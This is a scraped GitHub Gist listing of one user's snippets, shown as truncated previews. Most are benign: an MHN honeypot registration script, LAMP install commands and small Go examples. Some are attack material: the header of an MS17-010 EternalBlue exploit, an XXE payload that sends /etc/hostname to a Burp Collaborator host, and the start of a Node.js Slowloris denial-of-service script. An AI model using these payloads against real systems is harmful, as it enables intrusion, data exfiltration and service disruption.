Skip to content

Instantly share code, notes, and snippets.

@ambalabanov
ambalabanov / MHN
Last active April 12, 2021 16:47
MHN registration
curl $server_url/static/dionaea.conf
curl $server_url/api/sensor/ > /tmp/deploy.json
wget $server_url/static/registration.txt -O registration.sh
chmod 755 registration.sh
# hpfeeds info
export HPF_HOST=$(echo $server_url | sed 's#^http://##; s#^https://##; s#/.*$##; s/:.*$//')
export HPF_PORT="10000"
export HPF_IDENT=$(python -c 'import json;obj=json.load(file("/tmp/deploy.json"));print obj["identifier"]')
export HPF_SECRET=$(python -c 'import json;obj=json.load(file("/tmp/deploy.json"));print obj["secret"]')
@ambalabanov
ambalabanov / LAMP
Last active July 8, 2017 13:08
LAMP
sudo apt-get install apache2
sudo apt-get install mysql-server
sudo apt-get install php5
sudo apt-get install php5-mysql
#!/usr/bin/python
from impacket import smb, smbconnection
from mysmb import MYSMB
from struct import pack, unpack, unpack_from
import sys
import socket
import time
'''
MS17-010 exploit for Windows 2000 and later by sleepya
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://zadriffjsre35r3pumup3pij6ac10q.burpcollaborator.net/?x=%file;'>">
%eval;
%exfiltrate;
package main
import "fmt"
import "time"
// These workers will receive work on the `jobs` channel and send the corresponding
// results on `results`. We'll sleep a second per job to simulate an expensive task.
func worker(id int, jobs <-chan int, results chan<- int) {
for j := range jobs {
fmt.Println("worker", id, "started job", j)
func RemoveDuplicates(input *[]string) {
found := make(map[string]bool)
var unique []string
for _, val := range *input {
if found[val] == false {
found[val] = true
unique = append(unique, val)
}
}
*input = unique
package main
import (
"fmt"
)
func main() {
numGenerator := generator()
for i := 0; i < 5; i++ {
fmt.Print(numGenerator(), "\t")
@ambalabanov
ambalabanov / index.js
Created April 28, 2020 16:11 — forked from mehulmpt/index.js
Slow Loris attack using Node
const net = require('net')
const opts = {
host: 'localhost',
port: 1234,
sockets: 2000,
respawn: false,
rate: 600,
method: 'GET',
path: '/'
var r Response
if err := json.NewDecoder(resp.Body).Decode(&r); err != nil {
log.Fatalln(err)
}
fmt.Printf("%v", &r)
// +build darwin
package main
// #include <libproc.h>
// #include <stdlib.h>
// #include <errno.h>
import "C"
import (
"fmt"